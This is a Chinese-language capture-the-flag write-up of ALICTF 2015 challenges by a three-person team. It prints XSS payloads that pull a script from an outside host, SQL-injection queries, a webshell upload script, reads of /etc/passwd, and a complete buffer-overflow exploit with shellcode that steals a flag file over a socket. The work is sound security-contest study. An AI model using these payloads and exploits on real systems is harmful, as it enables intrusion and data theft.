ALICTF 2015 Writeup

Published at 30th March, 2015

Vijos.org 开发组另两名同学一起去参加了 ALICTF 2015

由于自己和队友们并不是从事信息安全的,并且自己也是第一次参加 CTF (Capture The Flag) 类比赛,所以最初就是想打打酱油混个最低奖项的。结果一不小心进了决赛,还最后拿了三等奖(不过名义上是第三名呢!:-)

虽然并没有渗透经验,决赛时候状态很不好,没有达到预期成果,有点遗憾,不过这次比赛还是有非常多收获的。

由于近几年一直在从事 Web 前后端开发,自初中以来已有很长时间没接触二进制安全了,并且还没有二进制调试环境,因此在初赛和决赛中,我主要负责 Web 安全部分,包括前端和 PHP 后端。

二进制安全方面全部由 PSNull 作者、Vijos NT 作者、Google offer 获得者 iceboy 神队友负责。

Java 相关部分由 blackbbc 完成。

初赛

0x00 cake

解题:blackbbc

下载 apk,发现需要输入密码,改后缀名为 zip 解压,将 dex 丢到 dextojar 得到 classes_dex2jar.jar,再用 jd-gui 查看

cake_1

发现核心代码,判断条件是:

if ((0xff & arrayOfInt[i]) != (0xff & (paramString.charAt(i) ^ str1.charAt(i % str1.length())))

其中 str1getKey() 函数给出,发现 M.classT.class 都有这个函数,经过 iceboy 提示,发现函数名称有个半角和全角的区别,应该来自 T.class

cake_2

str1 应该是 bobdylan

由上面的判断式可知 flag = str1 xor arrayOfInt

解出后答案为 blow,in the winD

0x01 前端初赛题1

解题:wish

经过简单测试发现该题会过滤等号、引号、括号,无法直接将 <script src=xxx></script> 插入原网页。于是使用 <svg><script></script></svg> 的方案,利用 <svg> 内可以解析 HTML 实体特性传入编码后的 <script> 到原网页执行脚本。

插入 XSS 脚本原型:

var e = document.createElement("script");
e.src = "http://xss.re/7789";
document.body.appendChild(e);

(其实可以直接以 src 方式插入 XSS 脚本…比赛的时候做复杂了)

对代码中的引号等号括号进行编码,得到:

var e &#61; document&#46;createElement&#40;&#34;script&#34;&#41;&#59;e&#46;src &#61; &#34;http://xss&#46;re/7798&#34;&#59;document&#46;body&#46;appendChild&#40;e&#41;&#59;

最后 url_encode:

http://089d9b2b0de6a319.alictf.com/xss.php?name=%3Csvg%3E%3Cscript%3Evar%20e%20%26%2361%3B%20document%26%2346%3BcreateElement%26%2340%3B%26%2334%3Bscript%26%2334%3B%26%2341%3B%26%2359%3Be%26%2346%3Bsrc%20%26%2361%3B%20%26%2334%3Bhttp%3A%2F%2Fxss%26%2346%3Bre%2F7798%26%2334%3B%26%2359%3Bdocument%26%2346%3Bbody%26%2346%3BappendChild%26%2340%3Be%26%2341%3B%26%2359%3B%3C/script%3E%3C/svg%3E

填入 URL 递交页面,可以成功 XSS。

xss1-1

在 XSS 平台上得到 flag=aHR0cDovLzA4OWQ5YjJiMGRlNmEzMTkuYWxpY3RmLmNvbS96aGVkYW90aW11X3RlYmllbWVpeW91eWluZ3lhbmcucGhwP3Rva2VuPTYzNjg2OWZjMDJmOWUxZGE5ZjQ0YjU3NDAzNWQ5OGU3 的 Cookie。

xss1-2

将该 flag 直接填入文本框发现验证错误。base64 decode 后发现是一个 URL,访问后得到真实 flag。

0x02 密码宝宝

解题:iceboy

首先用 WinHex 查看发现有 UPX 节,尝试 upx -d 脱壳成功但无法运行,于是带壳载入 OD,遇到一个 int 3 跳过,然后顺利运行起来。

由于程序需要从文本框获取字符串并进行判断,流程一般为使用 API 获取文本框内容,然后将内容使用某个算法进行处理。我们在导入表中找到了 GetWindowTextA,然后输入一长串字符并点击按钮,成功断下,然后执行返回用户模块。

我们对刚才 GetWindowTextA 的缓冲区首字节下硬件断点,发现并没有断下;对缓冲区的后部字节下硬件断点后才断下。原因是该程序的算法是从尾部开始进行字符串判断的。断下后观察当前指令附近的代码片段:

1

代码对 eaxedx 进行比较,这两个寄存器分别来自 [edx+380][ecx+ebp-110]。前者为用户输入所在缓冲区,因此“通关暗号”的内容应存在于后者中。查看内存发现其中包含明文flag。

2

0x03 简单业务逻辑

解题:iceboy

进入页面看到题面 FLAG worth $1000Shop,应为需要购买一个价格为 $1000 的商品,而点击 Shop 提示 Only Admin,说明我们需要提升权限。

在注册页面使用 Admin 作为用户名进行注册,提示 Username Has benn used!。折腾了一会儿后发现在用户名 Admin 后加入一个空格可以注册并登录成功。

进入 Shop 发现余额只有 $1,而需要购买 $1000 的商品。使用 HTTP 调试器拦截一次购买请求,看到 num=1&id=6,猜测 num 应该为购买的数量,改成 num=-1&id=6 并重放后发现余额变成了 $1001。再次购买 $1000 商品后得到 flag。

0x04 前端初赛题2

解题:wish

该题是一个 flash,反编译后得到代码(已重命名变量)如下:

package 
{
    import flash.display.*;
    import flash.external.*;

    public class swf extends Sprite
    {

        public function swf()
        {
            var myParameter:* = undefined;
            var parameters:* = root.loaderInfo.parameters;
            var search:* = root.loaderInfo.url.indexOf("?");
            if (search !== -1)
            {
                myParameter = this.parseStr(root.loaderInfo.url.substr((search + 1)));
                for (var key in parameters)
                {
                    if (myParameter.hasOwnProperty(this.trim(key)))
                    {
                        delete parameters[key];
                    }
                }
            }
            ExternalInterface.call("console.debug", parameters.debug);
            return;
        }// end function

        public function parseStr(search:String) : Object
        {
            var res:* = {};
            search = unescape(search).replace(/\+/g, " ");
            var parameters:* = search.split("&");
            if (parameters.length == 0)
            {
                return {};
            }
            for (var i = 0; i < parameters.length; ++i) {
                var pair = parameters[i].split("=");
                if (pair.length > 0)
                {
                    res[this.trim(pair[0])] = this.trim(pair[1]);
                }
            }
            return res;
        }// end function

        public function trim(param1:String) : String
        {
            if (!param1)
            {
                return param1;
            }
            return param1.toString().replace(/^\s*/, "").replace(/\s*$/, "");
        }// end function

    }
}

粗略阅读代码,发现 ExternalInterface.call("console.debug", parameters.debug); 一行似乎很可疑,调用 console.debug 输出内容。

Google 上以 ExternalInterface XSS 为关键字搜索,获得乌云知识库文章 http://drops.wooyun.org/tips/2924 。文章中介绍了对 ExternalInterface 两个参数进行 XSS 的方法,本例中是需要对第二个参数进行 XSS,于是触发什么的问题解决了,接下来就是如何触发。

阅读代码可知,该代码尝试自行解析 URI search 部分(parseStr() 函数),并将其与 AS 自己的 parse QueryString 生成的 Object 进行比较,删除自己解析出来的键值。最后以 AS 解析出来的 debug 值传入 console.debug 执行。

即触发条件是:parseStr() 函数解析 querystring 出来的 Object 里没有 debug 键,而 AS 自己的 parse QueryString 出来的 Objectdebug 键。

于是仔细分析代码检查 parseStr() 函数。与 Node.js QueryString.parse() 代码实现(由于没有 ActionScript 的源码,故以 Node.js 的标准实现作参考)对比后发现,Node.js 中是先按照 & 符号进行切割、再按照 = 号分割,最后分割出来的两段分别 decodeURI();而该代码中的实现是先 decodeURI(),再按照 &= 分割。这种处理方式上的不同应当可以满足触发条件。然而经过反复思考测试,均无法构造出触发条件。

于是换思路,尝试构造畸形的 URL。下载 Flash,修改代码使得它可以运行输出 AS parse queryString 和 parseStr() 的结果,在本地运行,方便进行对比。

反复测试各种姿势和各种编码,发现 AS 处理 %0 的姿势很特别:

http://localhost/xss/swf.swf?&%0?debug=x

xss2-1

(注:由于是尝试性测试得出的,所以 payload 并不是最精简的)

于是赶紧根据乌云那篇文章给出的实例将 XSS 略微包装一下:

http://8dd25e24b4f65229.alictf.com/swf.swf?&%0?debug=\%22),al)}catch(e){var%20e%20=%20document.createElement(%27script%27);%20e.src=%27http://xss.re/7798%27;%20document.body.appendChild(e);}//

xss2-2

成功 XSS 得到 flag。

0x05 vulnerability

解题:blackbbc

下载apk后打开发现只有一个页面,上面只有一个 ALICTFTextView。用 dextojar 和 jd-gui 反编译后查看代码,发现还有一个 WebActivity 没有加载,并且 webview 加载的 url 被加密了。

vulunerability

用 apk 内置的 CalcUtils.decode 解密得出 URL 为:http://monster.alictf.com/subject/wireless/alictf.html

打开发现所需找出漏洞的 6 段函数,阅读函数,加上各种 Google,找到了以下 3 个网址为我们提供了代码漏洞依据:

因此判断出漏洞在

  1. Function 2getActivity
    2
  2. Function 4openFile
    3
  3. Function 5loadDataWithBaseURL
    4

故答案为:getActivity;openFile;loadDataWithBaseURL

0x06 谁偷了你的站内短信

解题:iceboy

下载附件得到一个 x86 ELF,使用 IDA 6.6 载入并 Ctrl+F5 然后使用记事本查看。

exp

瞬间看到 checkUsercheckUserPasscreateUsershowInboxshowOutbox 处均有SQL注入漏洞并尝试注入:使用 'or''=' 作为用户名进行登录,并列出用户列表、Inbox和 Outbox。由于内存中的用户名为'or''=',列出的是所有用户的 Inbox 和 Outbox,发现为空,十分沮丧,不知道flag在哪。继续扫视代码,瞬间发现 sendMail 处有缓冲区溢出漏洞,然后还是不知道该干嘛,准备先做其他题,等闲下来写一个 shellcode 拿 shell。

一天后,机智的 wish 同学帮我看代码,瞬间看到了 print_flag 函数,于是开始利用 sendMail 处的缓冲区溢出漏洞执行这个函数。

首先试探缓冲区的大小:二分定位能使程序不崩溃的最大字符串长度。由于栈布局为local_var | prev_ebp | ret_addr,因此在此字符串后加上四个任意字节,再加上 print_flag 的地址 8048BBD 提交,即可在 sendMail 返回时调用 print_flag 得到 flag。

0x07 业务逻辑和渗透

解题:wish

发现有好几种奇怪的特征,如可以以同样的用户名注册不同的密码,可以以 admin\s+注册用户并登陆等等,故一直在这些业务逻辑上寻觅编程漏洞,然而一直没有什么收获。还发现可以直接找回 admin\s* 的密码,但收不到找回密码的邮件。

查看找回密码 http://jinan.alictf.com/resetpass/index.php 源代码,发现页面底部给出了服务器时间和一串神秘的 key。

lostpass-1

给出了时间,莫非是要猜测重设密码的 Reset token?reset token 可能和时间直接相关,也可能间接相关(如伪随机数)。先尝试简单的,与时间直接相关。

查看邮件中收到的 reset token,从长度来看是 md5,丢进 cmd5 破解发现并没有记录,于是尝试自行猜测这串 md5 的构造方法。

<?php

$ord = [
    [0, 1, 2],
    [0, 2, 1],
    [1, 0, 2],
    [1, 2, 0],
    [2, 1, 0],
    [2, 0, 1],
    [0, 1],
    [1, 0],
];

$opt = [
    'swx2',
    '1427621772',
    '673f3e705c8d5b7af675f309e58d46c9'
];

foreach ($ord as $order) {
    $concat = '';
    foreach ($order as $i) {
        $concat .= $opt[$i];
    }
    echo $concat."\t".md5($concat)."\n";
}

手工构造了一些可能的组合,交给 PHP 运行,发现并不能匹配到 reset token。怀疑由于网络延迟关系时间戳不对,然而尝试修改时间戳到前后 3 秒仍然无法和 reset token 匹配。

翻阅邮件,发现找回密码的邮件发送时间实际上是这个时间戳的 5 秒前,于是修正时间戳再次尝试,成功匹配上了。匹配到的构造方式为:md5($username . $timestamp . $testKey)

于是申请 admin 的密码找回,然后按照该方式构造 md5,成功重设密码登录进去。

登录后提示不允许异地登陆…

lostpass-2

那什么是异地呢?是不是从阿里巴巴所在的杭州连接就不是异地了呢?尝试利用阿里云杭州节点请求,发现仍然提示异地。想起来网页标题中提示了是山东省济南市的人才信息管理系统,遂寻找了一个山东济南的代理,挂上去之后成功登录获得了 flag。

0x08 代码血案

解题:iceboy

该题给出了 cpp 源代码和一个服务端口。由于给出的服务端口仅允许提交 4 次 token,还不知道触发一次漏洞需要提交几次 token,因此自己架设了一个服务器进行实验。

阅读源代码,瞬间发现 socket_read_callback 中对 token 的处理存在漏洞:recv_request 中以buffer 的首字节作为长度读入 token,而 check_token 中将 token 作为一个 NUL-terminated 字符串进行处理。然而环顾四周发现,这个漏洞无法利用。

继续读源代码,发现 rpc_readlog 中存在一个致命漏洞:if (len < 0) len = -len。这样的代码一看就是作者故意留的漏洞:len 的类型为 char,当 len-128 时,-len 仍为 -128。下面 malloc(len + SAFE_SPACE_LEN) 将会申请一个 2 字节的位于堆中的缓冲区并进行 readlog。再看 readlog 代码,使用了相同算法对 len 进行处理。通过实验和阅读代码,快速发现只要secretKey=c4852c706e64b5bc502b45c76392074c165a5f21e5aca3e6pos+len>=0,并且 log 中存在内容即可触发漏洞。构造 payload 提交到官方服务器获得 flag。

code

0x09 前端初赛题3

解题:wish

阅读代码可知,代码会以 URL 方式解析 URL 的 search 部分(这里称为 targetURL)。如果 targetURL 满足测试条件,则会以脚本方式加载这个 URL。显然,这里要让 targetURL 为自己的 XSS Script 地址。然而,代码中会测试 targetURL 的 authority 部分是否为 notexist.example.com,因此这题实际上是要分析代码中的逻辑漏洞,绕过这些测试。

首先阅读 jQuery.getScript() 源码看看 jQuery.getScript() 是否会对地址进行一些处理产生突破口。发现它实际上调用的是 jQuery.ajax()。继续分析代码,发现 jQuery 并没有对 URL 进行特殊处理等操作,(某些情况下简单地追加参数)直接传给了 XMLHttpRequest

因此实际上我们需要构造特别的 URL,使得浏览器认为它是一个正确的 URL 成功加载 XSS 脚本,并通过代码中的检验。

阅读代码发现它特别判断了 usernamepassword 部分的正斜杠,这是一个线索。然而经过各种测试,均未能利用正斜杠对代码实现攻击。放弃正斜杠后,尝试构造畸形 URL。测试 @ 符号,发现当 URL 中存在多个 @ 时,Chrome 会将前面几个 @ 符号编码,作为 username 部分。显然代码中处理逻辑并不是这样。于是找到了突破口,构造 payload:

http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798

成功绕过了脚本的 URL 检查,加载 XSS 脚本。

xss3-1

0x0A 简单业务逻辑2

解题:iceboy & wish

进入页面点击 Article 提示 Only Admin!,应该是需要提权。在网页源代码中发现 encryptdecrypt 函数,分析后发现

encrypt(P)=md5(P)⊕R⊕V·R

decrypt(C·R)=C⊕R⊕V

其中R为通过时间生成的md5序列。

decrypt(encrypt(P))=md5(P)

发现名为 role的 Cookie,其中包含长度与 encrypt 结果相同的值,而尝试 decrypt 后发现结果并不为仅包含 [0-9a-f] 的字符串。然而多次登录网站产生的不同 roledecrypt 出相同的内容,说明确实是 encrypt 产生的。观察算法,发现 V=md5('??????'),看起来似乎需要爆破。

编写爆破代码并使用小集群进行破解。

var cluster = require('cluster');
var crypto = require('crypto');
var cookie = new Buffer('ZjZkPDRhYzRnYTM5bDdmNGFkYjI3a2NnMjg6YWZrMTtWUwEBVgJcAgYEBAYMUlJTUgYCUgABAQUEU1EBBwpWUg==', 'base64');
var charset = '0123456789abcdefghijklmnopqrstuvwxyz';
var numCPUs = 60;

if (cluster.isMaster) {
  var a = 0, b = 0;
  function forkNew() {
    if (a < charset.length && b < charset.length) {
      cluster.fork({start: charset[a] + charset[b]});
      if (++b >= charset.length) {
        b = 0; ++a;
      }
    }
  }
  for (var i = 0; i < numCPUs; ++i) {
    forkNew();
  }
  cluster.on('exit', function(worker, code, signal) {
    if (worker.suicide)
      forkNew();
  });
} else {
  function decrypt(flag) {
    var md5 = crypto.createHash('md5');
    md5.update(flag);
    var q = md5.digest('hex');
    q += q.split('').reverse().join('');
    for (var i = 0; i < 32; ++i) {
      var p = q.charCodeAt(i) ^ q.charCodeAt(i + 32) ^ cookie[i] ^ cookie[i + 32];
      if ((p >= 48 && p <= 57) || (p >= 97 && p <= 102))
        continue;
      return false;
    }
    return true;
  }
  var start = process.env['start'];
  console.log('Trying ' + start + '...');
  for (var c = 0; c < charset.length; ++c) {
  for (var d = 0; d < charset.length; ++d) {
  for (var e = 0; e < charset.length; ++e) {
  for (var f = 0; f < charset.length; ++f) {
    var flag = start + charset[c] + charset[d] + charset[e] + charset[f];
    if (decrypt(flag)) {
      console.log('Found flag: ' + flag);
      break;
    }
  }
  }
  }
  }
  console.log()
  cluster.worker.kill();
}
node validate.js | tee log_file

发现数十个 V 能使 decrypt(role) 为仅包含 [0-9a-f] 的字符串。

encrypt-1

其中当 V=md5('lanlan')时,decrypt(role)=md5('Guest')

decrypt(cookie, 'lanlan') -> adb831a7fdd83dd1e2a309ce7591dff8
cmd5(adb831a7fdd83dd1e2a309ce7591dff8) -> 'Guest'

我们将 role 改为 encrypt('Admin'),成功取得管理员权限进入 Article。

屏幕中央写着 nothing in cookie!,于是查看 Cookie,发现有一个 article cookie 内容是 php 下 serialize(1) 的结果 i:1;

encrypt-2

尝试改成 serialize(0), serialize(2) 加载页面,发现会获得不同的内容。
于是先随手写个程序枚举 0-200 看看有哪些内容:

encrypt-3

又获得提示,SQLInjection!

由于比较懒,所以想修改程序改成一个 bridge Server 供 SQLMap 自动化注入(将 GET 参数 serialize() 后放入 cookie 请求服务器,并返回结果):

var cookie = 'article=[--i--]; role=Mjc1bWVmMzBhNzk2ODBka2EwYTZkYjNlbjxjZWwyMGgGBVMOUVBdAVIBCAFTAQEEU1AGBAdQA1IJVgEECgRUDA; LoginState=.....; PHPSESSID=.....';
var referer = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/index.php?token=....';
var url = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrrticle.php?token=....';

var request = require('request');
var cheerio = require('cheerio');
var express = require('express');

var app = express();

function serialize(...) {
  // see http://phpjs.org/functions/serialize/
}

app.get('/', function (req, res) {
  request.get(url, {
      headers: {
          cookie: cookie.replace('[--i--]', encodeURIComponent(serialize(req.query.article))),
          Host: 'cbcd512994370fc3d6a05eb9a73b31e9.alictf.com',
          Referer: referer,
          'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36',
      }
  }, function(err, response, body) {
      if (err) {
          console.log(err.stack);
          res.status(500).end();
          return;
      }
      var $ = cheerio.load(body.toString());
      var lead = $('.lead');
      var text = lead.text();
      res.end(text);
  });
})

var server = app.listen(3000, function () {
  var host = server.address().address;
  var port = server.address().port;
  console.log('listening at http://%s:%s', host, port);
});

结果发现由于还过滤了左括号 SQLMap 无法自动化注入 :-(

encrypt-4

只能手工注入了。

http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1

写个代码从 0 到 100 枚举上述地址 [i] 部分从而获得所有表。

...
24 TABLE_PRIVILEGES
25 TRIGGERS
29 flag
30 columns_priv
31 db
34 general_log
35 help_category
36 help_keyword
33 func
...

发现其中有一个叫 flag 的表,想必就是 flag 了…

http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201

查询到只有一个列叫做 flag。于是成功获得 flag。

决赛

J. 二进制进程

解题:iceboy

远程服务器中包含 xHIPS.sysfile_mon.exe,使用磁盘过滤驱动将所有名为 dir2 的文件操作重定向到 dir1,并禁止了对f开头的文件、.sys文件、WinHex.exe等工具文件的访问。此外,驱动还使用 Object HookProcessThread 对象的操作进行了过滤来保护进程。

然而使用 FinalData 对分区进行浅扫描即可得到隐藏文件的内容,如图所示。

process-1

由于 FinalData.exe 为 f 开头,使用前需要改名。

K. 二进制溢出

解题:iceboy

该题包含 ExpMe.exeoobExp.exe 两个文件。前者监听 socket 并接受连接,对每个连接创建后者进程,socket 以句柄继承的形式传递给后者,句柄值通过命令行参数中以十进制方式指定。

oobExp.exe 中包含一系列分发函数,处理编号为 0x11, 0x12, 0x13, 0x14, 0x15, 0x21, 0x22, 0x23, 0x31, 0x32的指令。

其中,0x11 指令的分发函数以传入参数值乘以 4 作为大小动态申请内存,并保存内存指针供用户读写。然而,其并未检查 HeapAlloc 的返回值。我们通过传入 0xffffffff,使得内存中的指针为 NULL,从而达到任意地址读写的目的。

0x21 指令的分发函数具有明显的栈溢出漏洞。然而,该函数受到 security cookie(/GS)的保护。虽然 cookie 值很容易通过任意地址读写得到,但是验证 cookie 时使用 cookie⊕ebp,我们发现 ebp 的值在一个不小的范围内随机跳动。而且该映像有 SafeSEH 保护,使用 SEH 绕过 cookie 保护也不容易。

0x32 指令的分发函数中包含指针调用,结合任意地址读写应该能执行任意指令。然而,该处的指令调用支持的调用约定十分奇怪,仅影响 eaxedxecx 寄存器,并不进行压栈操作,从而无法调用 stdcall 的 API,而且内存中也并没有一个既可写又可执行的区域可以直接写 shellcode。

搜索代码发现,偏移 0x1D10 处包含 xchg eax, espretn 这样的指令序列,与 0x32 指令的分发函数配合能实现 ROP

因此,我们首先使用任意地址读写功能读取 TEB:由于程序是32位的,我们猜测 TEB 的地址为 0x7ffdf000,并读取 TEB+0x18 处的值进行验证,如果指向自身则证明猜测正确。反复运行发现此地址正确的概率高于 2/3。

我们从 TEB 中得到 oobExp.exekernel32.dll 的基址(因为载入顺序为 0 和 2 所以很容易得到),并遍历 kernel32.dll 的导出表得到所有导出函数的地址保存在 python dict 中以便于生成 shellcode。

有了这些信息,我们先将 shellcode 和数据(需要读取的文件名)写到 .data 节的一块内存中,然后使用 ROP 调用 VirtualProtect 将 shellcode 所在内存设为可执行,并返回到 shellcode。

在 shellcode 中,我们首先调用 CreateFileAReadFile 读取文件;然后调用 GetCommandLineA 获取命令行参数,解析出 socket 句柄;最后调用 send 将读取的文件内容通过 socket 发送给客户端。

overflow-1

附上完整 exploit,由于比赛时间仓促写得比较丑请见谅(vista、win7均测试通过):

import socket
import struct

s = socket.socket()
s.connect(('123.56.105.178', 55555))

def alloc(nr_dw):
    s.send(b'\x00\x00\x00\x00\x11\x00\x00\x00' + struct.pack('I', nr_dw))
    buf = s.recv(64)
    if buf != b'1':
        raise 'alloc error'

def read(idx_dw):
    s.send(b'\x00\x00\x00\x00\x13\x00\x00\x00' + struct.pack('I', idx_dw))
    buf = s.recv(64)
    if len(buf) != 8:
        raise 'read error'
    while buf[-1] == 0:
        buf = buf[:-1]
    return int(buf, 16)

def write(idx_dw, data):
    s.send(b'\x00\x00\x00\x00\x14\x00\x00\x00' + struct.pack('II', idx_dw, data))
    buf = s.recv(64)
    if buf != b'1':
        raise 'write error'

def write_raw(idx_dw, data):
    s.send(b'\x00\x00\x00\x00\x14\x00\x00\x00' + struct.pack('I', idx_dw) + data)
    buf = s.recv(64)
    if buf != b'1':
        raise 'write error'    

def init():
    s.send(b'\x00\x00\x00\x00\x31\x00\x00\x00')

def invoke():
    s.send(b'\x00\x00\x00\x00\x32\x00\x00\x00')

def read_str(offset):
    buf = b''
    while True:
        cur = struct.pack('I', read(offset // 4))
        if offset % 4 != 0:
            offset -= 1
        elif cur[0] == 0:
            break
        else:
            buf += cur[0:1]
        if offset % 4 != 0:
            offset -= 1
        elif cur[1] == 0:
            break
        else:
            buf += cur[1:2]
        if offset % 4 != 0:
            offset -= 1
        elif cur[2] == 0:
            break
        else:
            buf += cur[2:3]
        if cur[3] == 0:
            break
        buf += cur[3:4]
        offset += 4
    return buf

def write_buf(offset, buf):
    while len(buf) % 4 != 0:
        buf += b'\x00'
    while buf:
        write_raw(offset // 4, buf[0:4])
        offset += 4
        buf = buf[4:]

print('started')
alloc(0xffffffff)
if read(0x7ffdf018 // 4) != 0x7ffdf000:
    print('failed')
    exit()
peb = read(0x7ffdf030 // 4)
ldr = read((peb + 0xc) // 4)
exe_data = read((ldr + 0xc) // 4)
exe = read((exe_data + 0x18) // 4)
print('exe = ' + hex(exe))
ntdll_data = read(exe_data // 4)
kernel32_data = read(ntdll_data // 4)
kernel32 = read((kernel32_data + 0x18) // 4)
print('kernel32 = ' + hex(kernel32))

nt_headers = kernel32 + read((kernel32 + 0x3c) // 4)
export_table = kernel32 + read((nt_headers + 0x78) // 4)
nr_of_names = read((export_table + 0x18) // 4)
address_of_functions = kernel32 + read((export_table + 0x1c) // 4)
address_of_names = kernel32 + read((export_table + 0x20) // 4)
address_of_name_ordinals = kernel32 + read((export_table + 0x24) // 4)

func = {}

for i in range(nr_of_names):
    name = read_str(kernel32 + read(address_of_names // 4 + i))
    ordinal = read((address_of_name_ordinals + i * 2) // 4)
    if (address_of_name_ordinals + i * 2) % 4 == 0:
        ordinal = ordinal & 0xffff
    else:
        ordinal = ordinal >> 16
    addr = kernel32 + read(address_of_functions // 4 + ordinal)
    func[name] = addr
    print(i, nr_of_names, name, hex(addr))

init()
abuf = read((exe + 0x28c9c) // 4)
print('&buf = ' + hex(abuf))

name = exe + 0x29f00
rop = exe + 0x29800
shellcode = exe + 0x29880
write(abuf // 4, rop)
write(rop // 4, func[b'GetProcessId'])
write((rop + 4) // 4, func[b'VirtualProtect'])
write((rop + 8) // 4, exe + 0x1d10)
write((rop + 12) // 4, shellcode)
write((rop + 16) // 4, shellcode)
write((rop + 20) // 4, 0x800)
write((rop + 24) // 4, 0x40)
write((rop + 28) // 4, name - 4)

write_buf(name, b'C:\\flag.txt\x00')

c = b'\x6a\x00\x6a\x00\x6a\x03\x6a\x00\x6a\x03\x68\x00\x00\x00\x80\x68' + struct.pack('I', name) \
  + b'\xb8' + struct.pack('I', func[b'CreateFileA']) + b'\xff\xd0' \
  + b'\x6a\x00\x68' + struct.pack('I', name - 4) + b'\x68\x56\x02\x00\x00\x68' + struct.pack('I', name) \
  + b'\x50\xb8' + struct.pack('I', func[b'ReadFile']) + b'\xff\xd0' \
  + b'\xb8' + struct.pack('I', func[b'GetCommandLineA']) + b'\xff\xd0' \
  + b'\x8a\x08\x40\x80\xf9\x20\x74\x02\xeb\xf6' \
  + b'\x31\xc9\x31\xd2\x8a\x08\x40\x84\xc9\x74\x0a\x80\xe9\x30\x6b\xd2\x0a\x01\xca\xeb\xef' \
  + b'\x6a\x00\x68\x00\x01\x00\x00\x68' + struct.pack('I', name) + b'\x52\xff\x15' + struct.pack('I', exe + 0x1d114)

write_buf(shellcode, c)
invoke()
print(s.recv(256))

L. 达科 OA 服务器

解题:wish

将 IP 和 Host 绑定后,访问 alictf.php 得到 HTTP Code 500。

测试其他路径,发现 tmp.php 是一个颜文字;index.php/*.php 会导致无限重定向。

机智的 iceboy 发现 index.php/*.php 处虽然是重定向然而有 HTML 内容返回,功能是上传文件。于是编写代码上传文件(只能上传 PHP)到 index.php/*.php,获得服务器响应 upload/xxxxxxxxxxxxxxxx.php(随机字符串),访问后获得 HTTP 404,怀疑 nginx 处配置动过手脚,线索中断。

var fs = require('fs');
var request = require('request');

request.post({
    url:'http://xxxxxx.alictf.com/index.php/xx.php',
    formData: {
        submit: 'submit',
        file: {
            value:  fs.createReadStream('shell.php'),
            options: {
                filename: 'shell.php',
                contentType: 'application/octet-stream'
            }
        }
    },
    followRedirect: false,
    headers: {
        Host: 'xxxxxx.alictf.com',
        Cookie: '......'
    }
}, function (err, res, body) {
    if (err) {
        return console.error('upload failed:', err);
    }
    console.log(body);
});

后来测试访问 alictf.php~,意外获得该文件的 vim 备份,从而获得源代码。其关键代码如下:

<?php

// ......

public function Nidongde()
{
    global $cookie;
    $this->cookie = $cookie;
    #echo 'something is ' . $this->key .' =.= <br />';
    if(intval($this->key))
    {
        if(substr($this->key,2,6) == 'alictf')
        $ip = $_GET['ip'];
        $numbers = $_GET['numbers'];
        $check = $_GET['check'];
        $first = $_GET['first'];
        $second = $_GET['second'];
        $numbers = preg_replace("/^([\d\.]*).*/", "\\1", $numbers);
        if(preg_match("/[\d\.]{7,15}/", $ip[0]))
        {
            if(isset($ip))
            {
                preg_match("/[\d\.]{7,15}/", $ip, $ipmatches);
                if($check['alictf'] == "H" && strlen($check)>= 8 && $ipmatches[0] == NULL && strpos($numbers,'alictf'))
                {
                    if(strlen($first) <= 5 && strlen($second) <= 4)
                    {
                        spl_autoload($first,$second);
                    }
                    else
                    {
                        $url = trim($first) . $second;
                        echo file_get_contents($url);
                    }
                }
            }
        }
    }
}

// ......

我们需要绕过此处多个判断达到最里层:

<?php

echo http_build_query([
    'alictf' => 'O:4:"User":3:{s:4:"type";s:0:"";s:3:"key";s:8:"12alictf";s:6:"cookie";N;}',
    'ip' => [
        '1111111'
    ],
    'numbers' => "1.1.1.1\nalictf",
    'check' => 'Hxxxxxxxxx',
    'first' => 'index.php',
    'second' => ''
]);

以上代码生成的 payload 可以到达最里层 file_get_contents 处,实现任意文件查看(文件由 first 指定,可以绝对路径)。由于上传生成的文件名长度 16 位,因此 spl_autoload 无法利用。

利用这个探测文件,获得 nginx 配置文件 /usr/local/nginx/conf/nginx.confindex.php 等文件源代码。根据配置文件及 index.php 代码,获知上传文件确实是传到了 /upload 目录下。可是访问过去是 404 Not Found,为什么呢?继续探测机器文件。

读取 /etc/passwd,获知账户 www 和 peter。

读取 /home/www/.bash_history 获得线索:check.py。在 /root 下获得 check.py 源码:

import os
import time
import os
while 1:
    os.system('rm -Rf /usr/local/nginx/upload && mkdir /usr/local/nginx/upload && chmod 777 /usr/local/nginx/upload')
    os.system('rm -Rf /usr/local/nginx/html/upload && mkdir /usr/local/nginx/html/upload && chmod 777 /usr/local/nginx/html/upload')
    os.system('cd /tmp/ && rm -f *')
    os.system('cd /var/tmp/ && rm -f *')
    os.system('cp /alictf.sh /usr/local/nginx/html/upload/')
    time.sleep(10)

原来 upload 目录会每 10 秒清除。因此写脚本一键上传 shell 并执行,可以成功执行。

想在 shell 中使用 echo system('ls'); 直接列出目录方便查询目标文件位置,发现 system, exec 函数被禁用。因此读取 /etc/php.conf 查看 disabled_functions,原来是被禁用了。顺便发现配置中的 typo 导致的漏洞:

oa-2

如图,实际上可以使用 readdiropendir。于是 shell 里使用 readdir 和 opendir 编写代码遍历目录,发现 /root 下有目标文件:达科web服务器部署指南.doc。读取内容获得 flag。另外,获知下一关的服务器 IP,内容在 upload/alictf.sh

Comments